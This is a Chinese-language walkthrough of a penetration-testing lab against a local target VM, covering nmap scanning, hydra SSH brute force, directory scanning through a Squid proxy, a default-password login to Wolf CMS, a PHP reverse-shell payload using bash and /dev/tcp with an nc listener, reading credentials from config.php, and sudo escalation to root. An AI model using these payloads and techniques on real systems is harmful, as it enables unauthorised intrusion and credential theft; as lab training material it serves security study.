一、主机存活扫描
sudo nmap -sn 10.4.7.0/24
通过该命令我们可以获得与kali同一网段的IP,即可得到靶机的IP:10.4.7.136
二、端口扫描
sudo nmap --min-rate 10000 -p- 10.4.7.136 //以不低于10000的速度快速扫描端口
通过该命令我们得到该靶机所开放的端口:22、3218、8080
接着我们继续用tcp扫描一下这三个端口
nmap -sT -sV -O -p22,3128,8080 10.4.7.136
发现它开启的3218和8080端口开放的服务是http代理,但8080端口关闭了
为了避免我们会遗漏掉什么内容,我们继续使用udp扫描一下这三个端口
发现一无所获,那么我们接下来对这三个端口进行一个尝试的操作
三、端口尝试
1、通过22端口暴力破解用户名和密码
hydra -L /home/kali/Desktop/username.txt -P /home/kali/Desktop/password.txt -vV -o ssh.log -e ns -f 10.4.7.136 ssh
-L //暴力破解用户名字典
-P //暴力破解密码字典
-o ssh.log //输出到这个文件里
-vV //显示过程
-f //搜到账号密码就停止
很可惜,经过一段时间的爆破发现并没有爆破出账户和密码
2、因为3128和8080端口都是http代理服务,那么接下来呢我们去一步一步验证它
①:那么接下来我们查看8080端口,我们发现他拒绝了我们
②那么我们接下来继续看一下3128端口
发现他出现了页面,这将是一个突破口,我们可以从他最下方观测到他的代理版本为squid/3.1.9,该服务为http代理服务,而它相关的端口为3218,那么接下来我们进行常规的web渗透
四、web渗透
1、对靶机IP进行敏感目录扫描
dirb http://10.4.7.136
发现跑不起来,那么我们在其之后加上相对应的端口3128
dirb http://10.4.7.136:3128
虽然可以扫描了,但我们发现依旧没有收获,这就很难搞了,那么接下来我们使用求助,发现原因是squid代理服务,所以敏感目录扫描的话也需要使用代理IP
dirb http://10.4.7.136 -p 10.4.7.136:3128
//代理服务器的IP地址和端口号(在这里是3128)应该指向一个实际运行代理服务的计算机。代理通常用于匿名访问、缓存、负载均衡或其他网络功能。
2、回想起来刚开始访问IP的时候没有反应,那么我们在浏览器上设置代理服务,结果会是怎么样呢?
(小问题:edge浏览器配置代理之后依旧不可以访问,所以后面我改用firbox)配置好浏览器的代理之后,我们继续访问靶机的IP
发现有回应了,但内容没有什么用,查看源代码依旧一无所获,接下来我们依次访问第一步扫出的敏感目录。
发现扫描出的robots目录有所内容
这里给我们一个目录提示,那么我们试试访问这个目录
家人们发现有画面了,我们发现他是一个名为wolfcms的cms(内容管理系统),而且现在的页面很明显是一个客户端,我们要去找到后台管理页面,那么我们接下来搜索一下相关的内容
发现后台登陆的路径为?/admin ,访问一下
尝试一下弱口令能否登录进去:admin admin
运气加持下进入了后台管理
3、反弹shell
随便点击后台的文件发现大部分可以上传php代码,那么我们设置一个反弹shell来试试控制该靶机
①:在kali中监听1234端口
nc -lvnp 1234
然后在后台管理的article页面输入反弹shell的一句话木马,
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/10.4.7.129/1234 0>&1'"); ?>
保存并进行执行
现在我们看一下监听端口有没有拿到shell
发现拿到了shell
五、提权
查看文件目录,发现config.php权限为777
ls -lah
查看该文件
cat config.php
让我们看看发现了什么,数据库账户和密码!但3306端口未开放。
接下来看看/etc/passwd
发现只有sickos和root在bash环境下,因为知道数据库的密码,我们合理猜想它这两个账户有没有可能也是这个数据库的密码john@123,尝试一下22端口
ssh sickos@10.4.7.136
我们进来了,然后查看权限发现为ALL
这样我们直接运行sudo /bin/bash获取root的shell
获得root权限,完成。